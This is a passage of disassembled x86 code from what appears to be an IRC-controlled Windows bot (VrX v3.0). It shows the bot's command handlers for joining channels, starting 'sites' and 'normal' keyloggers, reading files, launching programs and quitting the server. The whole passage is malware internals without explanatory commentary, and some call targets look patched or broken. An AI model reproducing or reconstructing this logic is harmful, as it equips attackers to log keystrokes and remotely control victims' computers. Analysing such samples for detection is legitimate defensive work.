		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2228],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23B0],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2224],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A334
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_222C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23B0]
		push	ebx
		push	eax
		push	offset byte_414703
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_222C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40883F


loc_40882D:				; CODE XREF: sub_401ACD+6D70j
		cmp	[ebp+var_2220],	ebx
		jnz	short loc_40885A
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_40882D
; ---------------------------------------------------------------------------


loc_40883F:				; CODE XREF: sub_401ACD+6D5Ej
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset dword_42A2F8


loc_40884B:				; CODE XREF: sub_401ACD+6CADj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40885A:				; CODE XREF: sub_401ACD+6C91j
					; sub_401ACD+6D66j
		cmp	[ebp+var_8], ebx
		jnz	loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_403FB6
; ---------------------------------------------------------------------------


loc_40887A:				; CODE XREF: sub_401ACD+48BDj
					; sub_401ACD+48D4j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2F0
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h


loc_408897:				; CODE XREF: sub_401ACD+6E31j
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644


loc_4088B1:				; CODE XREF: sub_401ACD+789Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_4088DA:				; CODE XREF: sub_401ACD+488Fj
					; sub_401ACD+48A6j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		push	offset dword_42A2DC
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 14h
		jmp	short loc_408897
; ---------------------------------------------------------------------------


loc_408900:				; CODE XREF: sub_401ACD+4861j
					; sub_401ACD+4878j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		push	edi
		call	sub_41C159
		add	esp, 10h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42A2C0


loc_408967:				; CODE XREF: sub_401ACD+6F24j
					; sub_401ACD+6F92j ...
		call	sub_415DAC
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_408971:				; CODE XREF: sub_401ACD+4833j
					; sub_401ACD+484Aj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089A2
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A2B8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4089A2:				; CODE XREF: sub_401ACD+6EBEj
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A29C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_4089F6:				; CODE XREF: sub_401ACD+4805j
					; sub_401ACD+481Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A280
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408A64:				; CODE XREF: sub_401ACD+47D7j
					; sub_401ACD+47EEj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_42A258
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_408A9E:				; CODE XREF: sub_401ACD+47A9j
					; sub_401ACD+47C0j
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 26A068Bh
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset dword_42A238
		call	sub_415D38
		jmp	loc_4034BF
; ---------------------------------------------------------------------------


loc_408B04:				; CODE XREF: sub_401ACD+477Bj
					; sub_401ACD+4792j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		push	esi
		push	edi
		push	offset unk_42A21C
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408B6D:				; CODE XREF: sub_401ACD+474Dj
					; sub_401ACD+4764j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		push	esi
		push	edi
		push	offset unk_42A200
		jmp	loc_408967
; ---------------------------------------------------------------------------


loc_408BBE:				; CODE XREF: sub_401ACD+471Fj
					; sub_401ACD+4736j
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		push	eax
		push	edi
		call	sub_415C40
		pop	ecx
		pop	ecx
		push	edi
		push	offset unk_42A1E4
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_408BF0:				; CODE XREF: sub_401ACD+46F1j
					; sub_401ACD+4708j
		push	[ebp+arg_18]
		push	edi
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418A2E


loc_408C05:				; CODE XREF: sub_401ACD+25ECj
		add	esp, 14h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408C0D:				; CODE XREF: sub_401ACD+46B1j
					; sub_401ACD+46C8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409644
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408CB1
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408C99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A430
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	edi
		push	offset unk_42A1C0
		push	eax
		call	sub_41C266
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408C99:				; CODE XREF: sub_401ACD+7171j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A190
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CB1:				; CODE XREF: sub_401ACD+715Cj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A178
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408CFB:				; CODE XREF: sub_401ACD+4434j
					; sub_401ACD+444Bj
		push	edi
		push	23h
		push	offset aKeylog_0 ; "Keylog"
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."


loc_408D08:				; CODE XREF: sub_401ACD+103Cj
					; sub_401ACD+108Fj ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B648
		add	esp, 20h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_408D24:				; CODE XREF: sub_401ACD+4406j
					; sub_401ACD+441Dj
		push	23h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_408D3A
		push	offset aKeylogerAlread ; "Keyloger Already running."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408D3A:				; CODE XREF: sub_401ACD+7261j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		push	offset aWeb	; "web"
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DB9
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_A10], 1
		cmp	esi, ebx
		jnz	short loc_408D9D
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D9D
		mov	esi, [ebp+var_88]


loc_408D9D:				; CODE XREF: sub_401ACD+72B2j
					; sub_401ACD+72C8j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
		jmp	short loc_408E0F
; ---------------------------------------------------------------------------


loc_408DB9:				; CODE XREF: sub_401ACD+729Dj
		push	edi
		push	offset aNormal_0 ; "normal"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408E97
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_408DF5
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408DF5
		mov	esi, [ebp+var_88]


loc_408DF5:				; CODE XREF: sub_401ACD+730Aj
					; sub_401ACD+7320j
		push	esi
		lea	eax, [ebp+var_A90]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		push	offset aNormalKeyLogge ; "Normal key logger active."


loc_408E0F:				; CODE XREF: sub_401ACD+72EAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	ebx
		push	23h
		push	eax
		call	sub_40B3BA
		add	esp, 0Ch
		mov	[ebp+var_A94], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset byte_4126A7
		push	ebx
		push	ebx
		nop
		call	near ptr 26A06F9h
		mov	ecx, [ebp+var_A94]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_408E7A


loc_408E64:				; CODE XREF: sub_401ACD+73ABj
		cmp	[ebp+var_A04], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_408E64
; ---------------------------------------------------------------------------


loc_408E7A:				; CODE XREF: sub_401ACD+7395j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset aFailedToStartL ; "Failed to start logging thread, error: "...


loc_408E86:				; CODE XREF: sub_401ACD+20F8j
					; sub_401ACD+2E94j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_408E97:				; CODE XREF: sub_401ACD+72FBj
		push	offset aUnknowModeType ; "Unknow mode type."
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408EA1:				; CODE XREF: sub_401ACD+4065j
					; sub_401ACD+407Cj
		push	offset aR	; "r"
		push	edi
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408F0D
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 0Ch


loc_408ECA:				; CODE XREF: sub_401ACD+742Cj
		test	eax, eax
		jz	short loc_408EFB
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		call	sub_41C52F
		add	esp, 20h
		jmp	short loc_408ECA
; ---------------------------------------------------------------------------


loc_408EFB:				; CODE XREF: sub_401ACD+73FFj
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	edi
		push	offset unk_42A0A4
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_408F0D:				; CODE XREF: sub_401ACD+73E5j
		push	edi
		push	offset unk_42A084
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408F18:				; CODE XREF: sub_401ACD+4037j
					; sub_401ACD+404Ej
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	offset asc_42A080 ; "\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408F55
		push	offset unk_42A054
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F55:				; CODE XREF: sub_401ACD+747Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A03C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_408699
; ---------------------------------------------------------------------------


loc_408F6F:				; CODE XREF: sub_401ACD+4009j
					; sub_401ACD+4020j
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		call	sub_41875E
		test	eax, eax
		pop	ecx
		jnz	short loc_408F9D
		push	offset unk_42A01C
		jmp	short loc_408FA2
; ---------------------------------------------------------------------------


loc_408F9D:				; CODE XREF: sub_401ACD+74C7j
		push	offset dword_42A000


loc_408FA2:				; CODE XREF: sub_401ACD+7486j
					; sub_401ACD+74CEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_408678
; ---------------------------------------------------------------------------


loc_408FB5:				; CODE XREF: sub_401ACD+3FDBj
					; sub_401ACD+3FF2j
		push	7Fh
		lea	eax, [ebp+var_2084]
		push	edi
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_408FE4
		push	7Fh
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_408FE4:				; CODE XREF: sub_401ACD+7503j
		push	7Fh
		lea	eax, [ebp+var_1F84]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2088],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1F00],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EFC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FE8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_1F04],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2088]
		push	ebx
		push	eax
		push	offset sub_41B302
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_1F04]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_409085


loc_40906F:				; CODE XREF: sub_401ACD+75B6j
		cmp	[ebp+var_1EF8],	ebx
		jnz	loc_406C1F
		push	32h
		nop
		call	near ptr 26A068Bh
		jmp	short loc_40906F
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+75A0j
		nop
		call	near ptr 26B0669h
		push	eax
		push	offset unk_429FA8


loc_409091:				; CODE XREF: sub_401ACD+298Bj
					; sub_401ACD+743Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+3FADj
					; sub_401ACD+3FC4j
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	edi
		call	sub_41036B
		add	esp, 10h
		push	edi
		push	offset dword_429F90
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_4090C3:				; CODE XREF: sub_401ACD+3F7Fj
					; sub_401ACD+3F96j
		push	14h
		lea	eax, [ebp+var_1D4C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1D38]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D54],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C34]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BAC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA8],	eax
		lea	eax, [ebp+var_1C34]
		push	eax
		lea	eax, [ebp+var_1D38]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_1BB0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D54]
		push	ebx
		push	eax
		push	offset loc_4161C1
		push	ebx
		push	ebx
		call	near ptr 26A06F9h
		nop
		mov	ecx, [ebp+var_1BB0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40918A:				; CODE XREF: sub_401ACD+76D1j
		cmp	[ebp+var_1BA4],	ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 26A068Bh
		nop
		jmp	short loc_40918A
; ---------------------------------------------------------------------------


loc_4091A0:				; CODE XREF: sub_401ACD+3F51j
					; sub_401ACD+3F68j
		push	edi
		nop
		call	near ptr 26A0927h
		test	eax, eax
		jz	short loc_4091C7
		push	edi
		push	offset dword_429F50
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_40929A
; ---------------------------------------------------------------------------


loc_4091C7:				; CODE XREF: sub_401ACD+76DCj
		push	offset dword_42A5A8
		call	sub_418699
		pop	ecx
		push	eax
		jmp	loc_403EED
; ---------------------------------------------------------------------------


loc_4091D8:				; CODE XREF: sub_401ACD+3F23j
					; sub_401ACD+3F3Aj
		push	edi
		call	sub_41C159
		push	eax
		call	sub_419F16
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_4091F5
		push	offset unk_429F2C
		jmp	short loc_4091FA
; ---------------------------------------------------------------------------


loc_4091F5:				; CODE XREF: sub_401ACD+771Fj
		push	offset unk_429EFC


loc_4091FA:				; CODE XREF: sub_401ACD+7726j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406C22
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_409233:				; CODE XREF: sub_401ACD+3EF5j
					; sub_401ACD+3F0Cj
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_419C09
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_409255
		push	offset unk_429EDC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409255:				; CODE XREF: sub_401ACD+777Cj
		push	offset unk_429EAC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40925F:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDEj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_4092A2
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_4092BD
		push	dword ptr [eax]


loc_409288:				; CODE XREF: sub_401ACD+77EEj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E8C
		push	eax
		call	sub_41C266


loc_40929A:				; CODE XREF: sub_401ACD+76F5j
		add	esp, 10h
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_4092A2:				; CODE XREF: sub_401ACD+77A2j
		push	edi
		call	dword_4CBA58
		cmp	eax, ebx
		jz	short loc_4092BD
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CBA60
		push	eax
		jmp	short loc_409288
; ---------------------------------------------------------------------------


loc_4092BD:				; CODE XREF: sub_401ACD+77B7j
					; sub_401ACD+77DEj
		push	offset unk_429E64
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_4092C7:				; CODE XREF: sub_401ACD+3E99j
					; sub_401ACD+3EB0j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_41BFD0
		add	esp, 0Ch
		push	edi
		push	offset unk_429E40
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4092E0:				; CODE XREF: sub_401ACD+3E6Bj
					; sub_401ACD+3E82j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		jz	short loc_409300
		push	offset unk_429E20
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_409300:				; CODE XREF: sub_401ACD+7827j
		push	offset unk_429DFC
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_40930A:				; CODE XREF: sub_401ACD+3E3Dj
					; sub_401ACD+3E54j
		mov	al, [edi]
		mov	byte_429094, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset unk_429DD8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_40931F:				; CODE XREF: sub_401ACD+3E0Fj
					; sub_401ACD+3E26j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B894
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_4088B1
; ---------------------------------------------------------------------------


loc_40936D:				; CODE XREF: sub_401ACD+3DE1j
					; sub_401ACD+3DF8j
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_401F75
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_401F75
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409823
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 26A068Bh
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	[ebp+var_10]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E924[eax]
		nop
		call	near ptr 26C05DFh
		push	edi
		call	sub_41C159
		imul	eax, 234h
		push	edi
		mov	dword_43E924[eax], ebx
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E710[eax], bl
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409418:				; CODE XREF: sub_401ACD+3DB3j
					; sub_401ACD+3DCAj
		push	edi
		push	offset aAll	; "all"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409447
		call	sub_40B583
		cmp	eax, ebx
		jle	short loc_40943D
		push	eax
		push	offset unk_429DAC
		jmp	loc_40723F
; ---------------------------------------------------------------------------


loc_40943D:				; CODE XREF: sub_401ACD+7963j
		push	offset unk_429D84
		jmp	loc_403F8F
; ---------------------------------------------------------------------------


loc_409447:				; CODE XREF: sub_401ACD+795Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401F75
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_409463:				; CODE XREF: sub_401ACD+7A07j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F75
		push	esi
		call	sub_41C159
		push	eax
		call	sub_40B4F5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40948A
		push	offset unk_429D60
		jmp	short loc_40948F
; ---------------------------------------------------------------------------


loc_40948A:				; CODE XREF: sub_401ACD+79B4j
		push	offset unk_429D34


loc_40948F:				; CODE XREF: sub_401ACD+79BBj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4094BF:				; CODE XREF: sub_401ACD+79D4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409463
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4094DB:				; CODE XREF: sub_401ACD+3D85j
					; sub_401ACD+3D9Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
